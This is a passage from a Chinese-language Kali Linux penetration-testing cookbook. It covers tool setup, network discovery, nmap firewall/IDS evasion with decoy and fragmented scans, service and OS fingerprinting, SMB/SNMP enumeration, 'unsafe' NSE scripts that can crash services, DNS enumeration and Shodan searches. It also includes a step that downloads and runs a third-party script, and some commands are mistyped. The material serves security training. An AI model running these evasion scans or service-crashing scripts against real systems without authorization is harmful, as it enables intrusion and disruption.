在这个食谱中,我们已经下载了 Nessus 家庭订阅并启动了服务。我们完成了基本的初始帐户设置,并输入了帐户激活密钥以激活我们的 Nessus 家庭订阅版本,并最终更新了插件。

后来,我们打开了 PostgreSQL 和 Metasploit 服务,最后,使用msfconsole我们启动了一个 Metasploit 实例。

还有更多...

Nessus 是一个漏洞扫描器,Metasploit 是来自 Rapid7 的利用框架。然而,大多数网络环境只需要漏洞评估,而不需要深入的利用。但是,在某些情况下,如果需要,Metasploit 是最好的框架之一。与 Nessus 类似,Rapid7 还推出了他们自己的漏洞扫描器Nexpose。Nexpose 可以配置为与 Metasploit 集成,这允许 Metasploit 使用 NexPose 进行漏洞扫描,并根据 Nexpose 收集的信息选择利用,因此与使用 Nessus 与 Metasploit 相比,它提供了更好的体验。有关更多信息,请访问www.rapid7.in/products/nexpose/

配置第三方工具

在这个食谱中,我们将安装一些基本的第三方工具,这些工具作为 Backtrack 5 的一部分,或者可以作为渗透测试工具箱的良好补充。

准备工作

对于这个食谱,您需要连接到互联网。

如何操作...

执行此食谱的以下步骤:

  1. Lazy Kali 是一个 Bash 脚本,旨在自动化 Kali 更新并安装所有其他您可能需要使 Kali 成为默认操作系统的第三方工具。您可以在code.google.com/p/lazykali/了解更多关于此脚本的信息。

要下载并安装此脚本,请在终端窗口上发出以下命令:

      Wget https://www.lazykaligooglecode.com/files/lazykali.sh
      Give it executable permission and execute:
      chmod +x lazykali.sh
      sh lazykali

  1. 当你运行lazykali.sh脚本时,它会显示脚本是否已经安装,如果没有,你可以按照下面的截图进行安装:操作步骤...

  2. 自更新脚本后,继续,您将看到以下屏幕:操作步骤...

  3. 接下来,输入6来安装额外的工具:

  4. 然后,选择“选择全部”。然后它将安装所有在后续食谱中所需的工具。

工作原理...

在这个食谱中,我们已经下载了lazykali.sh脚本,我们将用它来下载进一步的第三方工具,这些工具将在我们的后续食谱中使用。

在 Kali Linux 上安装 Docker

在这个食谱中,我们将在 Kali Linux 上安装和设置 Docker。

准备工作

要完成此食谱的步骤,您需要在 Oracle Virtualbox 或 VMware 中运行 Kali Linux,并连接到互联网。不需要其他先决条件。

如何操作...

对于这个食谱,您需要执行以下步骤:

  1. 在撰写本书时,Kali Linux 2.0 Rolling 基于 Debian Wheezy,因此这些步骤只适用于基于 Debian Wheezy 的 Kali Linux。将来,如果 Kali 有更新,那么请检查 Docker 文档中的最新安装步骤。

  2. 在终端窗口中打开/etc/apt/sources.list.d/backports.list文件,并在您喜欢的编辑器中打开。如果文件不存在,请创建它。

  3. 删除任何现有条目,并在 Debian wheezy 上添加一个 backports 条目:

      deb http://http.debian.net/debian wheezy-backports main

  1. 更新软件包信息,并确保 APT 使用 HTTPS 方法工作,并安装 CA 证书:
 $ apt-get update
 $ apt-get install apt-transport-https ca-certificates

  1. 添加 GPG 密钥:
      $ apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80        --recv-keys 58118E89F3A912897C070ADBF76221572C52609D

  1. 在您喜欢的编辑器中打开/etc/apt/sources.list.d/docker.list。如果文件不存在,请创建它。

  2. 删除任何现有条目,并在 Debian wheezy 上添加后备条目:

      $ deb https://apt.dockerproject.org/repo debian-wheezy main

  1. 更新软件包信息并验证 APT 是否从正确的存储库中拉取:
      $ apt-get update && apt-cache policy docker-engine

  1. 安装 Docker:
      $ apt-get install docker-engine

  1. 启动 Docker 守护程序:
      $ service docker start

  1. 验证 Docker 是否安装正确:
      $ docker run hello-world

由于您已经以root用户登录到 Kali Linux 安装中,因此无需使用sudo。但重要的是要注意,docker守护程序始终以root用户身份运行,并且docker守护程序绑定到 Unix 套接字而不是 TCP 端口。默认情况下,该 Unix 套接字归root用户所有,因此,如果您未以 root 用户身份登录,则需要使用前面的命令与sudo一起使用。

工作原理...

在这个教程中,我们添加了docker源列表,这样每次在系统上使用apt-get update命令时,我们就可以获取 Docker 的更新。然后,更新apt-get源并安装安装 Docker 所需的先决条件。我们添加了GPG密钥,以确保我们安装的任何更新都是有效的官方未更改的软件包。在完成所有这些基本配置之后,我们运行了基本的apt-cache来确保 APT 正在从正确的存储库中获取 docker-engine。最后,我们使用apt-get安装了docker-engine

第二章:网络信息收集

在本章中,我们将介绍以下教程:

  • 发现网络上的活动服务器

  • 绕过 IDS/IPS/防火墙

  • 发现网络上的端口

  • 使用 unicornscan 进行更快的端口扫描

  • 服务指纹识别

  • 使用 nmap 和 xprobe2 确定操作系统

  • 服务枚举

  • 开源信息收集

介绍

在本章中,我们将学习如何在网络上检测活动服务器和网络设备,并执行服务指纹识别和枚举以进行信息收集。收集信息对于成功的漏洞评估和渗透测试至关重要。接下来,我们将运行扫描程序来查找检测到的服务中的漏洞。除此之外,我们还将编写 bash 脚本,以便加快发现-枚举-扫描的过程。

发现网络上的活动服务器

在这个教程中,我们将学习如何使用两种方法进行网络设备/机器的发现:被动信息收集主动信息收集

作为被动信息收集的一部分,我们将检查环境的网络流量,然后进行主动信息收集,我们将向网络发送数据包以检测活动的机器和正在运行的服务。

准备工作

为了开始这个教程,我们将使用一个名为netdiscover的简单 ARP 嗅探/扫描工具。这是一个可以用于主动/被动 ARP 侦察的网络发现工具。

操作步骤...

让我们从被动侦察开始:

  1. 要启动 netdiscover,请确保您通过 Wi-Fi 连接并具有有效的 IP 地址。打开终端并输入以下命令进行被动侦察:
netdiscover - p

输出将如下截图所示:

操作步骤...

  1. 要执行对网络的主动扫描以发现活动 IP,请在终端中输入以下命令:
netdiscover -i eth0

输出将如下截图所示:

操作步骤...

  1. 如果您想保存 netdiscover 的输出,可以使用以下命令:
netdiscover -i eth0 > localIPS.txt

  1. 几秒钟后(例如,10 秒),使用Ctrl + C终止程序,文件的输出将看起来像以下内容:操作步骤...

  2. 另一种执行快速有效扫描的方法是使用nmap命令。要通过简单的 ping 扫描检测网络范围内的活动系统,请在终端中使用以下命令:

nmap -sP 192.168.1.0/24

输出将如下截图所示:

操作步骤...

  1. 您还可以将 nmap 工具的输出保存到文件中。我们所要做的就是添加一些 bash 脚本,并在终端中输入以下命令:
nmap -sP <IP address range>/<class subnet> | grep "report for" |        cut -d " " -f5 > nmapliveIPs.txt

让我们了解这个命令:第一个nmap命令的输出作为管道符后面的第二个命令的输入。在第二个命令中,grep 命令搜索包含"report for"的行,因为这将是指定 IP 正在响应的语句。找到包含"report for "的行的输出被转发到管道符后面的第三个命令。在第三个命令中,我们执行一个 cut 操作,我们说比较分隔符是"空格"在行中,并获取第 5 个字段,即在基于"空格"分隔的情况下的第五个单词。

文件的输出将只包含我们可以继续用于进一步评估的 IP 地址:

操作步骤...

这个文件将用于进一步的引用,以自动化一系列扫描请求,因为所有 IP 都已经提取到一个文件中。

工作原理...

因此,我们使用的少数工具的工作原理如下:

  • netdiscover:此命令使用以下开关:

  • -p:此开关用于以被动模式运行;它确保不会自己发送任何数据包,只是作为我们网络接口卡上的监听器

  • -i:此开关用于指定用于检测活动 IP 的接口

我们还看到输出可以存储在文件中以供以后参考。

  • nmap:此命令使用以下开关:

  • -sP:此开关也被视为-sn开关,用于 ping 扫描

我们还使用了 bash 脚本将 ping 扫描的输出保存在文件中,调用了基本逻辑。

在本教程中,我们已经学会了如何检测网络中所有活动的 IP,并在下一个教程中对其进行了开放端口分析。

还有更多...

netdiscover 工具中提供了更多功能,可帮助加快流程。它们如下:

  • -h:此功能加载 netdiscover 使用的帮助内容

  • -r:此功能允许您执行范围扫描,而不是自动扫描

  • -s:此功能为您提供在每个请求之间休眠的选项

  • -l:此功能允许您提供一个包含要扫描的 IP 范围列表的文件

  • -f:此功能启用快速模式扫描;与正常检测技术相比,它节省了大量时间

nmap 工具还支持许多用于检测活动 IP 的选项:

  • -sL:这是一个简单的列表扫描,用于指定要检查的 IP 地址文件

  • -sn:这是一个简单的 ping 扫描程序,用于确定活动 IP。

  • -PS/PA/PU/PY TCP SYN/ACK:用于 UDP 或 SCTP 端口检测

  • --traceroute:此选项允许对每个主机进行跟踪跳径

另请参阅

有关主动和被动扫描以及更多相同工具的信息,请参阅以下链接:

绕过 IDS/IPS/防火墙

在本教程中,我们将看一下 nmap 支持的一些开关,这些开关可用于绕过 IDS/IPS/防火墙。许多时候,当我们执行扫描时,我们会遇到防火墙。如果防火墙配置不正确,我们将能够执行 nmap 的以下防火墙规避命令。

准备就绪

我们将使用 nmap 进行此活动。让我们从我们已检测到的机器开始运行一些规避开关。

如何做...

对于本教程,我们将执行以下步骤:

  1. 我们将使用分段数据包开关执行发现:

分段数据包开关将 TCP 标头分成几个数据包,以使数据包过滤器、入侵检测系统和其他麻烦更难检测到正在进行的活动扫描。可能会发生失败的情况,因为一些程序可能无法处理微小的数据包。要了解更详细的信息,请访问nmap.org/book/man-bypass-firewalls-ids.html

我们将输入以下命令:

nmap -f <ip address>

输出将如下截图所示:

如何做...

  1. 另一个开关是 nmap 中可用的mtu开关,当我们执行分段扫描时,nmap 将数据包分成 8 字节或更少,因此要理解一个 30 字节的数据包将被分成 4 个数据包,重新指定-f后,数据包将被分成 16 字节,从而减少了片段,mtu 允许我们指定我们想要用于扫描目的的自己的偏移大小。

要在此处通过 MTU 执行规避,请在终端中输入以下命令:

nmap -mtu 24 <ip address>

注意

有关 MTU 开关的更多信息,请参阅nmap.org/book/man-bypass-firewalls-ids.html

输出将如下截图所示:

如何做...

  1. 在这里,我们将使用欺骗攻击。在终端中输入以下命令:
nmap -D <Fake IP>,<Fake IP>,<Fake IP> <Real IP>

输出将如下截图所示:

如何做...

  1. 在这里,我们将进行自定义端口攻击。在终端中输入以下命令:
nmap -source-port 53 <IP address>

输出将如下截图所示:

如何做...

以下是一个示例,以帮助您更好地理解情景:

如何做...

注意端口如何响应正常扫描与分段扫描。这表明我们能够绕过防火墙并检测到开放端口。

工作原理...

让我们了解这些开关是如何工作的:

  • -f:这种技术已经在配置错误的防火墙上使用了相当长的时间。它的作用是发送较小的数据包,以规避防火墙。

  • -mtu <8,16,24,32>MTU代表最大传输单元。在这里,我们可以手动指定数据包的大小;一旦我们指定大小,nmap 将发送指定大小的数据包来执行扫描活动。

  • -D:这用于欺骗数据包,提及我们选择的源 IP,以便在日志中创建垃圾条目,并且很难定位扫描是从哪个系统发起的。

  • --source-port:大多数情况下,防火墙为网络中的各种设备设置了允许传入规则的特定端口。这可以通过使用可能在系统上允许传入访问的自定义源端口来利用,以执行扫描活动。

还有更多...

在规避标准中还有一些其他技术;例如,附加随机数据、MAC 欺骗和错误校验扫描。这可以作为自学内容。

发现网络上的端口

在这个示例中,我们将使用我们扫描并保存在文件中的活动 IP 列表来执行信息收集,目的是扫描这些 IP 上的开放端口。我们将使用 nmap 及其功能来发现开放端口。

准备就绪

我们将使用 nmap 工具来检测 IP 上的开放端口。让我们从检测特定 IP 上的开放端口的过程开始。

如何做...

对于这个示例,您需要执行以下步骤:

  1. 我们将在终端中输入以下命令来运行 nmap:
nmap <ip address>

输出将如下截图所示:

如何做...

  1. 我们甚至可以通过使用详细开关来检查工具的操作,通过在终端中输入以下命令:
nmap -v <IP address>

输出将如下截图所示:

如何做...

  1. 默认情况下,它只扫描 1,000 个知名端口集。如果我们有兴趣将扫描偏好设置为前 100 个端口,我们可以在终端中运行以下命令:
nmap --top-ports <number> <ip address>

输出将如下截图所示:

如何做...

  1. 我们甚至可以将端口扫描限制为特定端口或 IP 的一系列端口。我们可以运行以下命令来查看相同的内容:
nmap -p <port range> <IP address>

输出将如下截图所示:

如何做...

  1. 可能存在这样的情况,我们想知道整个网络范围内有哪些 IP 运行了特定服务。我们在终端中运行以下命令:
nmap -p <port number> <IP address>

输出如下所示:

如何做...

  1. 假设我们想要检查特定系统上有哪些 UDP 端口是开放的。我们可以通过在终端中输入以下命令来检查:
nmap -sU <IP Address>

输出将如下截图所示:

如何做...

  1. 在上一个示例中,我们看到我们已经将活动 IP 的输出保存在一个文件中;现在让我们看看如何从文件中导入 IP 并执行简单的 TCP 扫描。

打开终端并输入以下命令,确保正确输入 IP 文件的路径:

nmap -sT -iL /root/nmapliveIPs.txt

输出将如下截图所示:

如何做...

  1. 可以使用以下命令将实时 IP 扫描结果保存在文件中:
nmap -sT -iL /root/nmapliveIPs.txt > openports.txt

  1. Nmap 还有一个图形化版本;它被命名为 zenmap,看起来如下:如何操作...

它是如何工作的...

让我们了解一下这些开关是如何工作的:

  • Nmap <IP 地址>:仅对著名端口执行 SYN 扫描,并得出基本信息

  • -v:切换到详细模式,从而提供有关扫描类型的更多信息

  • --top-ports <number>:这个开关告诉 nmap 从著名的端口库中扫描给定数量的端口

  • -p:这个开关告诉 nmap 它应该只扫描开关后面提到的端口号

  • -sU:这是 nmap 中的一个 UDP 开关,告诉它通过发送 UDP 数据包并检测相应的响应来扫描开放端口

  • -sT:这是一个 TCP 开关,告诉 nmap 与目标网络建立连接,以确保端口确实是打开的

  • -iL:这个开关告诉 nmap 输入可以从-iL开关后面提到的文件中获取

在这个配方中,我们已经看到了如何检测开放端口;这将帮助我们进行接下来的配方。

还有更多...

nmap 中还有许多其他选项,可以用来扫描基于协议的开放端口,以及其他有效扫描技术,尝试保持对网络中运行的扫描器的低级别检测。工具中有用的命令如下:

  • -sS:这个命令执行一个 SYN 扫描(最快和最准确的扫描-推荐)

  • -sX:这个命令执行一个 Xmas 扫描

  • -sF:这个命令执行一个 FIN 扫描

  • -sN:这个命令执行一个 Null 扫描

  • -sU:这个命令执行一个 UDP 扫描。然而,它并不是很准确,因为 UDP 是无状态的

另请参阅

使用 unicornscan 进行更快的端口扫描

Unicornscan 是另一个工作非常快的扫描器,其核心原因是工具实现的方法。它使用异步无状态 TCP 扫描的技术,在其中对 TCP 标志和 UDP 进行所有可能的变化。在这个配方中,我们将看看如何利用 unicornscan 及其高级功能。

准备工作

为了开始使用 unicornscan,我们将从我们的 IP 范围中取一个 IP,并深入了解工具的功能。

如何操作...

让我们按照以下步骤进行:

  1. 打开终端并输入以下命令进行简单的 unicornscan:
unicornscan <IP address>

输出将如下截图所示:

如何操作...

  1. 如果您想在执行命令时看到它正在做什么的细节,我们可以使用以下命令使用详细脚本:
unicornscan -v <IP address>

输出将如下截图所示:

如何操作...

我们可以看到它在执行扫描时考虑的端口。

  1. 假设我们也想对 UDP 进行相同的操作。在终端中输入以下命令:
unicornscan -v -m U <IP address>

输出将如下截图所示:

如何操作...

  1. 还有更多选项可用。要检查它们,请在终端中输入以下命令:
Unicornscan -h

输出将如下截图所示:

如何操作...

它是如何工作的...

配方中提到的命令的工作如下:

  • Unicornscan <IP 地址>:在这种情况下,unicornscan 运行默认的TCP SYN扫描(unicornscan 中的参数将是-mTS在 IP 上)并扫描unicornscan.conf文件中的快速端口,该文件位于/etc/Unicornscan/unicornscan.conf

  • -v:这个开关告诉扫描器进入详细模式,并提供更多关于它在执行扫描时正在做什么的信息。

  • -m U:-m开关代表要使用的扫描模式。在这种情况下,我们使用了U,这意味着扫描类型应该是 UDP。

在这个示例中,我们已经看到了如何有效地使用 unicornscan 获取有关开放端口的信息,并且我们可以在不同的开关之间切换。

还有更多...

unicornscan 中还有许多其他可用于改进扫描偏好的开关。建议尝试并熟悉它们:

Unicornscan -h

服务指纹识别

在这个示例中,我们将看看如何分析开放端口,以确定开放端口上运行的是什么样的服务。这将帮助我们了解目标 IP 是否运行了任何易受攻击的软件。这就是为什么服务指纹识别是一个必要且非常重要的步骤。

准备工作

我们将使用 nmap 对目标 IP 的服务进行指纹识别。Nmap 是一个多功能工具,可以从主机发现到漏洞评估;服务指纹识别也是其中的一部分。

操作步骤...

步骤如下:

  1. 使用 nmap,在终端中运行以下命令以获得服务枚举结果:
nmap -sV <IP address>

输出将如下截图所示:

操作步骤...

  1. 我们甚至可以使用 UDP 扫描开关以及服务检测开关来枚举目标 IP 上运行的 UDP 服务:
Nmap -sU -sV <IP address>

输出将如下截图所示:

操作步骤...

  1. 我们可以使用以下命令加快扫描速度:
nmap -T4 -F -sV  <IP address>

有关使用的开关的详细信息在工作原理部分提供。要获取更多详细信息,请访问nmap.org/book/man-port-specification.htmlnmap.org/book/man-version-detection.html

输出将如下截图所示:

操作步骤...

在这里我们可以看到正常扫描和定时扫描之间的差异几乎是 60 秒以上。

工作原理...

以下是我们使用的开关列表及其解释,以便更好地理解:

  • -sV:这代表版本检测;它探测所有开放端口,并尝试解析抓取的横幅信息以确定服务版本。

  • -T4T代表精细的时间控制,4代表执行扫描的速度级别。时间范围从 0 到 5:(0)患妄想症,(1)鬼鬼祟祟,(2)礼貌,(3)正常,(4)侵略性,(5)疯狂。(0)和(1)通常有助于 IDS 逃避,而(4)告诉 nmap 假设我们在一个快速可靠的网络上,从而加快扫描速度。

  • -F:这是快速模式;它扫描的端口比默认扫描少。

在这个示例中,我们已经学会了如何使用 nmap 对开放端口进行指纹识别,以检测运行的服务及其相应的版本。这将在以后帮助我们检测操作系统。

还有更多...

我们甚至可以查看 Kali 发行版中提供的其他工具,这些工具处理服务枚举。我们可以检查一些列在Kali Linux | 信息收集 | 下的工具。

在 nmap -sV检测中还有详细的开关可用:

  • --all-ports:这告诉 nmap 确保对所有开放端口上运行的服务版本进行指纹识别。

  • --version-intensity:这告诉 nmap 使用强度值从 0 到 9 进行扫描,9 是最有效的指纹识别。

端口枚举后,攻击者可以通过一些谷歌搜索或查看exploit-db.comsecurityfocus.com等网站,找出端口上运行的软件版本是否容易受到攻击向量的影响。

使用 nmap 和 xprobe2 确定操作系统

在这个配方中,我们将使用工具来确定目标 IP 正在运行的操作系统类型。将目标 IP 与相应的操作系统进行映射是必要的,以帮助筛选和验证漏洞。

准备工作

在这个配方中,我们将使用 nmap 工具来确定操作系统。我们只需要一个 IP 地址,针对该地址我们将运行 OS 枚举扫描。其他可以使用的工具包括 hping 和 xprobe2。

如何做...

让我们开始确定操作系统:

  1. 打开终端并输入以下内容:
nmap -O <IP address>

输出将如下截图所示:

如何做...

我们可以使用高级运算符以更积极的方式找出操作系统。在终端中输入以下命令:

nmap O --osscan-guess <IP address>

输出将如下截图所示:

如何做...

这表明使用 nmap 中操作系统检测的其他参数,我们可以得到最佳匹配的可能想法。

  1. Xprobe2 使用了与 nmap 不同的方法。它使用模糊签名匹配来提供可能的操作系统。打开终端并输入以下命令:
xprobe2 <IP Address>

输出将如下截图所示:

如何做...

我们无法确定哪种扫描器是最好的,因为每个扫描器都有其自己的实现方法。为了证明我们所说的,让我们看看以下情景。我们设置了一个用于枚举操作系统的常见目标。目标是www.google.com

以下截图显示了 nmap 的结果:

如何做...

以下截图显示了 Xprobe 的结果:

如何做...

它是如何工作的...

Nmap 执行基于 TCP/IP 堆栈指纹识别的操作系统确定活动。它发送一系列数据包,包括 TCP 和 UDP 数据包,并分析所有响应。然后将它们与 nmap 引擎中可用的签名进行比较,以确定最佳匹配的操作系统,并告诉我们目标机器的操作系统可能是什么。在前面的情景中,有一个目标 IP 没有提供任何操作系统详细信息;这是因为 nmap 工具无法将任何响应与工具中可用的签名匹配。

让我们看一下上面使用的开关的一些细节:

  • -O参数使 nmap 引擎开始根据从横幅检索到的信息来确定可能的操作系统。它提到,如果在目标 IP 上找到一个开放和一个关闭的 TCP 端口,那么它会更有效。

  • --osscan-guess参数使 nmap 引擎在无法找到完美匹配时显示检测到的签名的最佳可能匹配项。

Xprobe2 有大约 14 个模块,可用于扫描远程目标上运行的操作系统的检测。

在这个配方中,我们学习了如何有效地使用不同的扫描器确定操作系统。我们现在将使用这些信息来继续下一个配方。

还有更多...

nmap 操作系统发现模块中还有其他选项,如下所示:

  • --osscan-limit:此参数将仅限于有希望的目标进行检测;如果它没有找到任何端口打开,它将跳过目标。这在扫描多个目标时节省了大量时间。

  • --max-os-tries:这用于设置 nmap 应尝试检测的次数。默认情况下,它尝试五次;这可以设置为较低的值以避免耗时。

服务枚举

一旦服务被指纹识别,我们就可以执行枚举。可以使用许多不同的来源来实现这个配方的目标。在这个配方中,我们将看看如何使用各种工具执行服务发现扫描,包括以下内容:

  • SMB 扫描

  • SNMP 扫描

  • 使用NSEnmap 脚本引擎)引擎

Nbtscan是 Kali 中的一个脚本,用于枚举目标 IP 的 NetBIOS 名称。它可以用作 SMB 枚举的早期部分。它基本上请求以人类可读格式的 NetBIOS 名称的状态查询。

准备工作

在本教程中,我们将使用工具枚举上述所有服务。

如何做...

对于本教程,步骤如下:

  1. 为了枚举 NetBIOS 名称,我们将在终端中运行以下命令:
nbtscan <IP address>

输出将如下截图所示:

如何做...

  1. 您还可以在终端中使用以下命令对类范围进行 NetBIOS 枚举:
nbtscan -r <IP address>/<class range>

输出将如下截图所示:

如何做...

  1. 要执行 SMB 扫描,我们可以使用命令如enum4linux。在终端中输入以下命令开始 SMB 扫描:
enum4linux <IP address>

输出将如下截图所示:

如何做...

此外,它甚至提供共享枚举信息以检查系统上可用的共享:

如何做...

它甚至显示了目标上的密码策略(如果有的话):

如何做...

正如您所看到的,enum4 Linux 是一个强大的工具,特别是在启用空会话的情况下。

注意

从维基百科了解空会话的参考:空会话是对基于 Windows 的计算机上的进程间通信网络服务的匿名连接。该服务旨在允许命名管道连接。但是,它可以被利用来检索信息。要了解空会话的基本知识,请访问www.softheap.com/security/session-access.html。可以在pen-testing.sans.org/blog/2013/07/24/plundering-windows-account-info-via-authenticated-smb-sessions上了解详细的渗透测试场景。

  1. 让我们继续进行 SNMP 扫描。为此,我们将使用一个名为 SnmpWalk 的扫描工具,并开始浏览MIB管理信息库)树。

首先在终端中输入以下命令:

snmpwalk -c public -v1 <IP address>

输出将如下截图所示:

如何做...

  1. 当我们尝试访问 SNMP 服务时,我们可以看到获取了大量信息,默认字符串为 public,如果未更改。为了确保我们不会获取太多信息,并且有序地请求信息,我们可以利用 MIB 树。

例如,如果我们希望仅提取系统用户,则可以使用此值1.3.6.1.4.1.77.1.2.25,在终端中输入以下命令:

snmpwalk -c public -v1 <IP address> <MIB value>

输出将如下截图所示:

如何做...

  1. 我们将使用 nmap 查找开放端口的漏洞。Nmap 有一个用于评估目的的脚本的大列表,可以在/usr/share/nmap/scripts/中找到。输出将如下截图所示:如何做...

这些脚本需要不时更新。

选择目标后,我们将对其运行 nmap 脚本。

  1. 打开终端并输入以下命令以执行脚本扫描:
nmap -sC <IP address >

注意

这将运行与开放端口匹配的所有可能的脚本。

输出将如下截图所示:

如何做...

  1. 我们甚至可以将扫描范围缩小到特定服务。在终端中键入以下命令,仅运行与 SMB 服务相关的所有枚举脚本:
nmap -sT --script *smb-enum* <IP address>

输出将如下截图所示:

如何做...

  1. 但是,我们应该意识到有一些脚本可能会在尝试分析目标是否容易受攻击时使服务停滞或崩溃。这些可以通过使用不安全的参数来调用,例如在终端中输入以下命令:
nmap -sT -p 139,443 --script smb-check-vulns --script-      args=unsafe=1 <IP address>

输出如下截图所示:

如何操作...

这告诉我们端口是否容易受到任何攻击。

它是如何工作的...

让我们了解一下本教程中使用的一些开关:

在 Nbtscan 中,我们使用了-r开关,告诉 nbtscan 扫描给定的整个类网络/子网;它查询 UDP 端口137上的所有系统。此端口有一个服务引用为“网络邻居”,也称为 netbios。当此端口接收到查询时,它会响应该系统上所有正在运行的服务。

enum4linux是一个枚举几乎所有可能信息的脚本,包括 RID 循环、用户列表、共享枚举、识别远程操作系统的类型、正在运行的服务是什么、密码策略等等,如果目标 IP 容易受到空会话认证的攻击。

以下是 SnmpWalk 中使用的开关:

  • -c:此开关告诉 SnmpWalk 它是什么类型的社区字符串。默认情况下,SNMP 社区字符串是 public。

  • -v1:此开关指定 SNMP 版本为 1。我们甚至可以使用 2c 或 3,这取决于它正在运行的 SNMP 服务版本的类型。

  • dnsenum:这是一个 DNS 枚举工具。它基本上从 DNS 服务器中枚举所有与 DNS 相关的信息,并检查是否可能进行区域传输。

  • -sC:此开关使 nmap 能够运行默认 NSE 脚本,用于检测目标 IP 上检测到的所有开放端口,从存储库中。

  • --script:此开关使我们能够指定要执行的脚本。我们可以使用正则表达式,如前面的示例所示。

  • --script-args=unsafe=1:此开关使 nmap 能够运行危险的脚本,以评估端口是否容易受到某种攻击。之所以不是默认脚本分析的一部分,是因为有时这些脚本可能导致远程服务崩溃并变得不可用,导致 DOS 情况。

在这个教程中,我们学习了如何在 nmap 检测到的服务上运行不同的脚本,以及如何运行危险的枚举脚本。

还有更多...

建议为了更好地运行脚本,我们应该使用 Zenmap。我们可以创建一个配置文件并选择要执行的脚本。

在 Zenmap 中,转到配置文件 | 新配置文件命令 | 脚本,并选择要测试的脚本。

开源信息收集

在这个教程中,我们将看看如何使用专为在线信息收集而设计的工具。我们将介绍用于收集有关 Whois、域工具和 MX 邮件服务器信息的工具。Shodan 是一个强大的搜索引擎,可以在互联网上为我们定位驱动器。借助各种过滤器,我们可以找到有关我们目标的信息。在黑客中,它也被称为世界上最危险的搜索引擎。

准备工作

我们将利用诸如 DNsenum 之类的工具进行 Whois 枚举,找出与域相关的所有 IP 地址,以及 Shodan 如何为我们提供所搜索目标的开放端口信息。

如何操作...

步骤如下:

  1. 对于 DNS 扫描,我们将使用一个名为 DNsenum 的工具。让我们从在终端中输入以下命令开始:
dnsenum <domainname>

输出如下截图所示:

如何操作...

  1. 我们还可以使用可用于通过谷歌抓取搜索更多子域的功能。输入以下命令:
dnsenum -p 5 -s 20 facebook.com

输出如下截图所示:

如何操作...

正如我们所看到的,ps开关告诉 dnsenum 在 4 页谷歌搜索中搜索,并从谷歌中拉取最大数量的抓取条目。

  1. dnsenum 的另一个特性是提供一个子域字典文件列表,以查找有效的子域和它们的地址。可以通过发出以下命令来完成相同的操作:
 dnsenum -f subdomains.txt facebook.com

在这里,子域是可能的子域的自定义列表,我们得到以下输出:

如何做...

回到简单的 DNS 枚举,我们执行了上面的操作,观察到输出包含大量信息,因此最好将输出保存在文件中。一种选择是使用以下命令将输出推送到文件中:

dnsenum <domain name> > dnsenum_info.txt

输出将如下截图所示:

如何做...

然而,如果我们需要将输出枚举用于另一个工具,我们必须使用 dnsenum 提供的开关以 XML 格式输出,因为大多数工具支持 XML 导入功能。使用以下命令:

dnsenum -o dnsenum_info <domain name>

输出将如下截图所示:

如何做...

  1. 当我们使用 head 命令输出文件时,我们得到以下内容:如何做...

  2. dnsenum命令为您提供了有关目标的大量信息:

  • 名称服务器:名称服务器是处理有关域名各种服务位置的查询的服务器

  • MX 记录:这指定了与给定主机的邮件服务器对应的 IP。

  • 主机地址:这指定了服务器托管的 IP 地址

  • 子域:主站点的一个子集;例如,mail.google.comdrive.google.comgoogle.com的子域。

  • 反向查找:查询 DNS 服务器以查找域名的 IP 地址

  1. www.shodan.io上注册 Shodan,并单击“探索”以浏览可见的功能列表。

  2. 现在转到网络摄像头部分,您将看到所有具有网络摄像头服务器运行在其系统上的 IP 列表。

  3. 假设您设法获取了目标 IP 或 Web URL;只需在搜索过滤器中输入 IP,就可以检索大量信息,如下截图所示:如何做...

  4. 假设您想要检查属于某个国家的所有服务器;在搜索过滤器中,输入Country:IN

您可以看到它获取了大量的输出:

如何做...

  1. 这是特定 IP 地址的输出方式:如何做...

  2. 在左上角,当您单击查看全部...选项卡时,您将获得 Shodan 所有可用功能的列表:如何做...

正如我们所看到的,提供的功能数量是庞大的。我们应该花时间逐一探索所有选项。

工作原理...

dnsenum <domain name>语法查询所述域名的 DNS 服务器,然后是名称服务器和邮件服务器。它还执行检查是否可以进行区域传输。

使用的命令如下:

  • -o:当与文件名一起指定时,这将提供所做的 DNS 枚举的基于 XML 的输出

  • -p = pages <value>:在抓取名称时要处理的谷歌搜索页面数;默认为 20 页;必须指定-s开关

  • -s = scrap <value>:从谷歌中抓取的子域的最大数量

  • -f, = file <file>:从此文件中读取子域以执行暴力破解

Shodan 有一个庞大的过滤器列表;上面使用的过滤器如下:

  • 国家:这指定了搜索给定目标的国家;通常由国家代码标识

还有更多...

可以通过使用 Shodan 搜索引擎进行更多的信息收集。

Shodan 搜索引擎允许用户通过不同的过滤器组合在互联网上找到特定类型的计算机或设备。这可以是一个收集有关目标信息的重要资源。我们可以通过访问www.shodanhq.com/help/filters了解更多关于 Shodan 过滤器的信息。

第三章:网络漏洞评估

在本章中,我们将涵盖以下内容:

  • 使用 nmap 进行手动漏洞评估

  • 将 nmap 与 Metasploit 集成

  • 使用 Metasploit 进行 Metasploitable 评估的详细步骤

  • 使用 OpenVAS 框架进行漏洞评估

介绍

之前,我们已经涵盖了在网络上发现活动服务器以及服务枚举。在这里,我们将讨论什么是漏洞评估。漏洞评估是一个过程,测试人员旨在确定端口上运行的服务,并检查它们是否存在漏洞。当利用漏洞时,可能会导致我们获得未经身份验证的访问、拒绝服务或信息泄露。漏洞评估是必不可少的,因为它给我们提供了被测试网络安全的全面图景。

在本章中,我们将检查运行在开放端口上的服务是否存在漏洞。了解服务运行的操作系统非常重要,因为这是在涉及远程代码执行的漏洞发现中的关键因素之一。原因是不同操作系统上的相同服务由于架构差异将具有不同的漏洞利用。让我们谈谈一个漏洞:SMB 服务,根据 MS08-067 netapi 漏洞是易受攻击的。这个漏洞存在于旧的 Windows 系统上,但在新系统上不存在。例如,Windows XP 容易受到这种攻击的影响;然而,Windows Vista 不会,因为它已经修补了。因此,了解系统正在运行的操作系统和服务包版本,以及开放端口上的服务,如果要发现任何漏洞,这是非常重要的。在本章中,我们将学习在目标 IP 上检测漏洞的不同方法。

使用 nmap 进行手动漏洞评估

到目前为止,很明显 nmap 从 IP 发现开始就扮演着非常重要的角色。nmap 还具有漏洞评估功能,通过Nmap 脚本引擎NSE)实现。它允许用户运行漏洞检测脚本。NSE 包含一组非常庞大的脚本,涵盖了从发现到利用的各种脚本。这些脚本位于nmap文件夹中,并按其类别进行了分离。可以通过阅读位于nmap文件夹中的scripts.db文件更好地理解这些类别。然而,在本章中,我们将限制自己只进行漏洞检测。

准备工作

